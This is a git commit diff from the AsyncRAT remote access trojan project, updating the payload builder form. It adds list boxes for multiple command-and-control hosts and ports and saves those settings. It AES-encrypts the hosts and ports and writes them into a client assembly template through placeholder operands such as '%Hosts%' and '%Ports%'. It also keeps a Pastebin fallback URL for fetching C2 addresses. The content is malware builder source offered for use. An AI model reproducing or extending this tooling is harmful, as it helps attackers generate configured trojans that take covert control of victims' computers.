Update form builder
This commit is contained in:
parent
ced6449752
commit
1c2574d84c
154
AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormBuilder.Designer.cs
generated
154
AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormBuilder.Designer.cs
generated
@ -35,10 +35,7 @@ namespace AsyncRAT_Sharp.Forms
|
||||
this.chkPastebin = new System.Windows.Forms.CheckBox();
|
||||
this.txtPastebin = new System.Windows.Forms.TextBox();
|
||||
this.label6 = new System.Windows.Forms.Label();
|
||||
this.textPort = new System.Windows.Forms.TextBox();
|
||||
this.textIP = new System.Windows.Forms.TextBox();
|
||||
this.label2 = new System.Windows.Forms.Label();
|
||||
this.label1 = new System.Windows.Forms.Label();
|
||||
this.groupBox2 = new System.Windows.Forms.GroupBox();
|
||||
this.comboBoxFolder = new System.Windows.Forms.ComboBox();
|
||||
this.checkBox1 = new System.Windows.Forms.CheckBox();
|
||||
@ -56,6 +53,15 @@ namespace AsyncRAT_Sharp.Forms
|
||||
this.tabPage1 = new System.Windows.Forms.TabPage();
|
||||
this.tabPage2 = new System.Windows.Forms.TabPage();
|
||||
this.tabPage3 = new System.Windows.Forms.TabPage();
|
||||
this.textPort = new System.Windows.Forms.TextBox();
|
||||
this.listBoxPort = new System.Windows.Forms.ListBox();
|
||||
this.btnAddPort = new System.Windows.Forms.Button();
|
||||
this.btnRemovePort = new System.Windows.Forms.Button();
|
||||
this.btnRemoveIP = new System.Windows.Forms.Button();
|
||||
this.btnAddIP = new System.Windows.Forms.Button();
|
||||
this.listBoxIP = new System.Windows.Forms.ListBox();
|
||||
this.textIP = new System.Windows.Forms.TextBox();
|
||||
this.label1 = new System.Windows.Forms.Label();
|
||||
this.groupBox1.SuspendLayout();
|
||||
this.groupBox2.SuspendLayout();
|
||||
this.groupBox3.SuspendLayout();
|
||||
@ -78,13 +84,19 @@ namespace AsyncRAT_Sharp.Forms
|
||||
//
|
||||
// groupBox1
|
||||
//
|
||||
this.groupBox1.Controls.Add(this.btnRemoveIP);
|
||||
this.groupBox1.Controls.Add(this.btnAddIP);
|
||||
this.groupBox1.Controls.Add(this.listBoxIP);
|
||||
this.groupBox1.Controls.Add(this.textIP);
|
||||
this.groupBox1.Controls.Add(this.label1);
|
||||
this.groupBox1.Controls.Add(this.btnRemovePort);
|
||||
this.groupBox1.Controls.Add(this.btnAddPort);
|
||||
this.groupBox1.Controls.Add(this.listBoxPort);
|
||||
this.groupBox1.Controls.Add(this.chkPastebin);
|
||||
this.groupBox1.Controls.Add(this.txtPastebin);
|
||||
this.groupBox1.Controls.Add(this.label6);
|
||||
this.groupBox1.Controls.Add(this.textPort);
|
||||
this.groupBox1.Controls.Add(this.textIP);
|
||||
this.groupBox1.Controls.Add(this.label2);
|
||||
this.groupBox1.Controls.Add(this.label1);
|
||||
this.groupBox1.Location = new System.Drawing.Point(6, 19);
|
||||
this.groupBox1.Name = "groupBox1";
|
||||
this.groupBox1.Size = new System.Drawing.Size(539, 363);
|
||||
@ -95,7 +107,7 @@ namespace AsyncRAT_Sharp.Forms
|
||||
// chkPastebin
|
||||
//
|
||||
this.chkPastebin.AutoSize = true;
|
||||
this.chkPastebin.Location = new System.Drawing.Point(264, 165);
|
||||
this.chkPastebin.Location = new System.Drawing.Point(264, 261);
|
||||
this.chkPastebin.Name = "chkPastebin";
|
||||
this.chkPastebin.Size = new System.Drawing.Size(130, 24);
|
||||
this.chkPastebin.TabIndex = 9;
|
||||
@ -108,7 +120,7 @@ namespace AsyncRAT_Sharp.Forms
|
||||
//
|
||||
this.txtPastebin.DataBindings.Add(new System.Windows.Forms.Binding("Text", global::AsyncRAT_Sharp.Properties.Settings.Default, "Pastebin", true, System.Windows.Forms.DataSourceUpdateMode.OnPropertyChanged));
|
||||
this.txtPastebin.Enabled = false;
|
||||
this.txtPastebin.Location = new System.Drawing.Point(106, 200);
|
||||
this.txtPastebin.Location = new System.Drawing.Point(106, 296);
|
||||
this.txtPastebin.Name = "txtPastebin";
|
||||
this.txtPastebin.Size = new System.Drawing.Size(271, 26);
|
||||
this.txtPastebin.TabIndex = 8;
|
||||
@ -118,48 +130,21 @@ namespace AsyncRAT_Sharp.Forms
|
||||
// label6
|
||||
//
|
||||
this.label6.AutoSize = true;
|
||||
this.label6.Location = new System.Drawing.Point(14, 203);
|
||||
this.label6.Location = new System.Drawing.Point(14, 299);
|
||||
this.label6.Name = "label6";
|
||||
this.label6.Size = new System.Drawing.Size(71, 20);
|
||||
this.label6.TabIndex = 7;
|
||||
this.label6.Text = "Pastebin";
|
||||
//
|
||||
// textPort
|
||||
//
|
||||
this.textPort.DataBindings.Add(new System.Windows.Forms.Binding("Text", global::AsyncRAT_Sharp.Properties.Settings.Default, "Ports", true, System.Windows.Forms.DataSourceUpdateMode.OnPropertyChanged));
|
||||
this.textPort.Location = new System.Drawing.Point(106, 98);
|
||||
this.textPort.Name = "textPort";
|
||||
this.textPort.Size = new System.Drawing.Size(271, 26);
|
||||
this.textPort.TabIndex = 6;
|
||||
this.textPort.Text = global::AsyncRAT_Sharp.Properties.Settings.Default.Ports;
|
||||
//
|
||||
// textIP
|
||||
//
|
||||
this.textIP.DataBindings.Add(new System.Windows.Forms.Binding("Text", global::AsyncRAT_Sharp.Properties.Settings.Default, "IP", true, System.Windows.Forms.DataSourceUpdateMode.OnPropertyChanged));
|
||||
this.textIP.Location = new System.Drawing.Point(106, 42);
|
||||
this.textIP.Name = "textIP";
|
||||
this.textIP.Size = new System.Drawing.Size(271, 26);
|
||||
this.textIP.TabIndex = 5;
|
||||
this.textIP.Text = global::AsyncRAT_Sharp.Properties.Settings.Default.IP;
|
||||
//
|
||||
// label2
|
||||
//
|
||||
this.label2.AutoSize = true;
|
||||
this.label2.Location = new System.Drawing.Point(14, 102);
|
||||
this.label2.Location = new System.Drawing.Point(308, 37);
|
||||
this.label2.Name = "label2";
|
||||
this.label2.Size = new System.Drawing.Size(38, 20);
|
||||
this.label2.TabIndex = 3;
|
||||
this.label2.Text = "Port";
|
||||
//
|
||||
// label1
|
||||
//
|
||||
this.label1.AutoSize = true;
|
||||
this.label1.Location = new System.Drawing.Point(14, 45);
|
||||
this.label1.Name = "label1";
|
||||
this.label1.Size = new System.Drawing.Size(24, 20);
|
||||
this.label1.TabIndex = 4;
|
||||
this.label1.Text = "IP";
|
||||
//
|
||||
// groupBox2
|
||||
//
|
||||
this.groupBox2.Controls.Add(this.comboBoxFolder);
|
||||
@ -333,6 +318,91 @@ namespace AsyncRAT_Sharp.Forms
|
||||
this.tabPage3.Text = "Misc";
|
||||
this.tabPage3.UseVisualStyleBackColor = true;
|
||||
//
|
||||
// textPort
|
||||
//
|
||||
this.textPort.Location = new System.Drawing.Point(362, 34);
|
||||
this.textPort.Name = "textPort";
|
||||
this.textPort.Size = new System.Drawing.Size(161, 26);
|
||||
this.textPort.TabIndex = 6;
|
||||
//
|
||||
// listBoxPort
|
||||
//
|
||||
this.listBoxPort.FormattingEnabled = true;
|
||||
this.listBoxPort.ItemHeight = 20;
|
||||
this.listBoxPort.Location = new System.Drawing.Point(362, 66);
|
||||
this.listBoxPort.Name = "listBoxPort";
|
||||
this.listBoxPort.Size = new System.Drawing.Size(161, 84);
|
||||
this.listBoxPort.TabIndex = 10;
|
||||
//
|
||||
// btnAddPort
|
||||
//
|
||||
this.btnAddPort.Font = new System.Drawing.Font("Microsoft Sans Serif", 8F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
|
||||
this.btnAddPort.Location = new System.Drawing.Point(362, 156);
|
||||
this.btnAddPort.Name = "btnAddPort";
|
||||
this.btnAddPort.Size = new System.Drawing.Size(43, 26);
|
||||
this.btnAddPort.TabIndex = 12;
|
||||
this.btnAddPort.Text = "+";
|
||||
this.btnAddPort.UseVisualStyleBackColor = true;
|
||||
this.btnAddPort.Click += new System.EventHandler(this.BtnAddPort_Click);
|
||||
//
|
||||
// btnRemovePort
|
||||
//
|
||||
this.btnRemovePort.Font = new System.Drawing.Font("Microsoft Sans Serif", 8F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
|
||||
this.btnRemovePort.Location = new System.Drawing.Point(480, 156);
|
||||
this.btnRemovePort.Name = "btnRemovePort";
|
||||
this.btnRemovePort.Size = new System.Drawing.Size(43, 26);
|
||||
this.btnRemovePort.TabIndex = 13;
|
||||
this.btnRemovePort.Text = "-";
|
||||
this.btnRemovePort.UseVisualStyleBackColor = true;
|
||||
this.btnRemovePort.Click += new System.EventHandler(this.BtnRemovePort_Click);
|
||||
//
|
||||
// btnRemoveIP
|
||||
//
|
||||
this.btnRemoveIP.Font = new System.Drawing.Font("Microsoft Sans Serif", 8F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
|
||||
this.btnRemoveIP.Location = new System.Drawing.Point(190, 156);
|
||||
this.btnRemoveIP.Name = "btnRemoveIP";
|
||||
this.btnRemoveIP.Size = new System.Drawing.Size(43, 26);
|
||||
this.btnRemoveIP.TabIndex = 18;
|
||||
this.btnRemoveIP.Text = "-";
|
||||
this.btnRemoveIP.UseVisualStyleBackColor = true;
|
||||
this.btnRemoveIP.Click += new System.EventHandler(this.BtnRemoveIP_Click);
|
||||
//
|
||||
// btnAddIP
|
||||
//
|
||||
this.btnAddIP.Font = new System.Drawing.Font("Microsoft Sans Serif", 8F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
|
||||
this.btnAddIP.Location = new System.Drawing.Point(72, 156);
|
||||
this.btnAddIP.Name = "btnAddIP";
|
||||
this.btnAddIP.Size = new System.Drawing.Size(43, 26);
|
||||
this.btnAddIP.TabIndex = 17;
|
||||
this.btnAddIP.Text = "+";
|
||||
this.btnAddIP.UseVisualStyleBackColor = true;
|
||||
this.btnAddIP.Click += new System.EventHandler(this.BtnAddIP_Click);
|
||||
//
|
||||
// listBoxIP
|
||||
//
|
||||
this.listBoxIP.FormattingEnabled = true;
|
||||
this.listBoxIP.ItemHeight = 20;
|
||||
this.listBoxIP.Location = new System.Drawing.Point(72, 66);
|
||||
this.listBoxIP.Name = "listBoxIP";
|
||||
this.listBoxIP.Size = new System.Drawing.Size(161, 84);
|
||||
this.listBoxIP.TabIndex = 16;
|
||||
//
|
||||
// textIP
|
||||
//
|
||||
this.textIP.Location = new System.Drawing.Point(72, 34);
|
||||
this.textIP.Name = "textIP";
|
||||
this.textIP.Size = new System.Drawing.Size(161, 26);
|
||||
this.textIP.TabIndex = 15;
|
||||
//
|
||||
// label1
|
||||
//
|
||||
this.label1.AutoSize = true;
|
||||
this.label1.Location = new System.Drawing.Point(18, 37);
|
||||
this.label1.Name = "label1";
|
||||
this.label1.Size = new System.Drawing.Size(43, 20);
|
||||
this.label1.TabIndex = 14;
|
||||
this.label1.Text = "DNS";
|
||||
//
|
||||
// FormBuilder
|
||||
//
|
||||
this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F);
|
||||
@ -363,10 +433,7 @@ namespace AsyncRAT_Sharp.Forms
|
||||
|
||||
private System.Windows.Forms.Button button1;
|
||||
private System.Windows.Forms.GroupBox groupBox1;
|
||||
private System.Windows.Forms.TextBox textPort;
|
||||
private System.Windows.Forms.TextBox textIP;
|
||||
private System.Windows.Forms.Label label2;
|
||||
private System.Windows.Forms.Label label1;
|
||||
private System.Windows.Forms.GroupBox groupBox2;
|
||||
private System.Windows.Forms.TextBox textFilename;
|
||||
private System.Windows.Forms.Label label3;
|
||||
@ -387,5 +454,14 @@ namespace AsyncRAT_Sharp.Forms
|
||||
private System.Windows.Forms.TabPage tabPage3;
|
||||
private System.Windows.Forms.CheckBox chkBdos;
|
||||
private System.Windows.Forms.PictureBox pictureBox1;
|
||||
private System.Windows.Forms.ListBox listBoxPort;
|
||||
private System.Windows.Forms.TextBox textPort;
|
||||
private System.Windows.Forms.Button btnAddPort;
|
||||
private System.Windows.Forms.Button btnRemovePort;
|
||||
private System.Windows.Forms.Button btnRemoveIP;
|
||||
private System.Windows.Forms.Button btnAddIP;
|
||||
private System.Windows.Forms.ListBox listBoxIP;
|
||||
private System.Windows.Forms.TextBox textIP;
|
||||
private System.Windows.Forms.Label label1;
|
||||
}
|
||||
}
|
||||
|
@ -7,6 +7,7 @@ using System.Text;
|
||||
using System.Security.Cryptography;
|
||||
using AsyncRAT_Sharp.Cryptography;
|
||||
using System.Security.Cryptography.X509Certificates;
|
||||
using System.Collections.Generic;
|
||||
|
||||
namespace AsyncRAT_Sharp.Forms
|
||||
{
|
||||
@ -19,7 +20,7 @@ namespace AsyncRAT_Sharp.Forms
|
||||
|
||||
private void button1_Click(object sender, EventArgs e)
|
||||
{
|
||||
if (string.IsNullOrWhiteSpace(textIP.Text) || string.IsNullOrWhiteSpace(textPort.Text)) return;
|
||||
if (listBoxIP.Items.Count == 0 || listBoxPort.Items.Count == 0) return;
|
||||
|
||||
if (checkBox1.Checked)
|
||||
{
|
||||
@ -52,7 +53,7 @@ namespace AsyncRAT_Sharp.Forms
|
||||
{
|
||||
r.AsmDef.Write(saveFileDialog1.FileName);
|
||||
MessageBox.Show("Done!", "AsyncRAT | Builder", MessageBoxButtons.OK, MessageBoxIcon.Information);
|
||||
Properties.Settings.Default.Save();
|
||||
SaveSettings();
|
||||
r.AsmDef.Dispose();
|
||||
this.Close();
|
||||
}
|
||||
@ -65,6 +66,29 @@ namespace AsyncRAT_Sharp.Forms
|
||||
}
|
||||
}
|
||||
|
||||
private void SaveSettings()
|
||||
{
|
||||
try
|
||||
{
|
||||
List<string> Pstring = new List<string>();
|
||||
foreach (string port in listBoxPort.Items)
|
||||
{
|
||||
Pstring.Add(port);
|
||||
}
|
||||
Properties.Settings.Default.Ports = string.Join(",", Pstring);
|
||||
|
||||
List<string> IPstring = new List<string>();
|
||||
foreach (string ip in listBoxIP.Items)
|
||||
{
|
||||
IPstring.Add(ip);
|
||||
}
|
||||
Properties.Settings.Default.IP = string.Join(",", IPstring);
|
||||
|
||||
Properties.Settings.Default.Save();
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
|
||||
private void checkBox1_CheckedChanged(object sender, EventArgs e)
|
||||
{
|
||||
if (checkBox1.Checked)
|
||||
@ -85,9 +109,32 @@ namespace AsyncRAT_Sharp.Forms
|
||||
{
|
||||
comboBoxFolder.SelectedIndex = 0;
|
||||
if (Properties.Settings.Default.IP.Length == 0)
|
||||
textIP.Text = "127.0.0.1,127.0.0.1";
|
||||
listBoxIP.Items.AddRange(new object[] { "127.0.0.1", "0.0.0.0" });
|
||||
|
||||
if (Properties.Settings.Default.Pastebin.Length == 0)
|
||||
txtPastebin.Text = "https://pastebin.com/raw/s14cUU5G";
|
||||
|
||||
try
|
||||
{
|
||||
string[] ports = Properties.Settings.Default.Ports.Split(new[] { "," }, StringSplitOptions.None);
|
||||
foreach (string item in ports)
|
||||
{
|
||||
if (!string.IsNullOrWhiteSpace(item))
|
||||
listBoxPort.Items.Add(item.Trim());
|
||||
}
|
||||
}
|
||||
catch { }
|
||||
|
||||
try
|
||||
{
|
||||
string[] ip = Properties.Settings.Default.IP.Split(new[] { "," }, StringSplitOptions.None);
|
||||
foreach (string item in ip)
|
||||
{
|
||||
if (!string.IsNullOrWhiteSpace(item))
|
||||
listBoxIP.Items.Add(item.Trim());
|
||||
}
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
|
||||
private void WriteSettings(AssemblyDefinition asmDef)
|
||||
@ -118,10 +165,38 @@ namespace AsyncRAT_Sharp.Forms
|
||||
string operand = methodDef.Body.Instructions[i].Operand.ToString();
|
||||
|
||||
if (operand == "%Ports%")
|
||||
methodDef.Body.Instructions[i].Operand = aes.Encrypt(textPort.Text);
|
||||
{
|
||||
if (chkPastebin.Enabled && chkPastebin.Checked)
|
||||
{
|
||||
methodDef.Body.Instructions[i].Operand = aes.Encrypt("null");
|
||||
}
|
||||
else
|
||||
{
|
||||
List<string> LString = new List<string>();
|
||||
foreach (string port in listBoxPort.Items)
|
||||
{
|
||||
LString.Add(port);
|
||||
}
|
||||
methodDef.Body.Instructions[i].Operand = aes.Encrypt(string.Join(",", LString));
|
||||
}
|
||||
}
|
||||
|
||||
if (operand == "%Hosts%")
|
||||
methodDef.Body.Instructions[i].Operand = aes.Encrypt(textIP.Text);
|
||||
{
|
||||
if (chkPastebin.Enabled && chkPastebin.Checked)
|
||||
{
|
||||
methodDef.Body.Instructions[i].Operand = aes.Encrypt("null");
|
||||
}
|
||||
else
|
||||
{
|
||||
List<string> LString = new List<string>();
|
||||
foreach (string ip in listBoxIP.Items)
|
||||
{
|
||||
LString.Add(ip);
|
||||
}
|
||||
methodDef.Body.Instructions[i].Operand = aes.Encrypt(string.Join(",", LString));
|
||||
}
|
||||
}
|
||||
|
||||
if (operand == "%Install%")
|
||||
methodDef.Body.Instructions[i].Operand = checkBox1.Checked.ToString().ToLower();
|
||||
@ -171,13 +246,73 @@ namespace AsyncRAT_Sharp.Forms
|
||||
txtPastebin.Enabled = true;
|
||||
textIP.Enabled = false;
|
||||
textPort.Enabled = false;
|
||||
listBoxIP.Enabled = false;
|
||||
listBoxPort.Enabled = false;
|
||||
btnAddIP.Enabled = false;
|
||||
btnAddPort.Enabled = false;
|
||||
btnRemoveIP.Enabled = false;
|
||||
btnRemovePort.Enabled = false;
|
||||
}
|
||||
else
|
||||
{
|
||||
txtPastebin.Enabled = false;
|
||||
textIP.Enabled = true;
|
||||
textPort.Enabled = true;
|
||||
}
|
||||
listBoxIP.Enabled = true;
|
||||
listBoxPort.Enabled = true;
|
||||
btnAddIP.Enabled = true;
|
||||
btnAddPort.Enabled = true;
|
||||
btnRemoveIP.Enabled = true;
|
||||
btnRemovePort.Enabled = true;
|
||||
}
|
||||
}
|
||||
|
||||
private void BtnRemovePort_Click(object sender, EventArgs e)
|
||||
{
|
||||
if (listBoxPort.SelectedItems.Count == 1)
|
||||
{
|
||||
listBoxPort.Items.Remove(listBoxPort.SelectedItem);
|
||||
}
|
||||
}
|
||||
|
||||
private void BtnAddPort_Click(object sender, EventArgs e)
|
||||
{
|
||||
try
|
||||
{
|
||||
Convert.ToInt16(textPort.Text.Trim());
|
||||
foreach (string item in listBoxPort.Items)
|
||||
{
|
||||
if (item.Equals(textPort.Text.Trim()))
|
||||
return;
|
||||
}
|
||||
listBoxPort.Items.Add(textPort.Text.Trim());
|
||||
textPort.Clear();
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
|
||||
private void BtnRemoveIP_Click(object sender, EventArgs e)
|
||||
{
|
||||
if (listBoxIP.SelectedItems.Count == 1)
|
||||
{
|
||||
listBoxIP.Items.Remove(listBoxIP.SelectedItem);
|
||||
}
|
||||
}
|
||||
|
||||
private void BtnAddIP_Click(object sender, EventArgs e)
|
||||
{
|
||||
try
|
||||
{
|
||||
foreach (string item in listBoxIP.Items)
|
||||
{
|
||||
textIP.Text = textIP.Text.Replace(" ", "");
|
||||
if (item.Equals(textIP.Text))
|
||||
return;
|
||||
}
|
||||
listBoxIP.Items.Add(textIP.Text.Replace(" ", ""));
|
||||
textIP.Clear();
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
}
|
||||
}
|
Loading…
x
Reference in New Issue
Block a user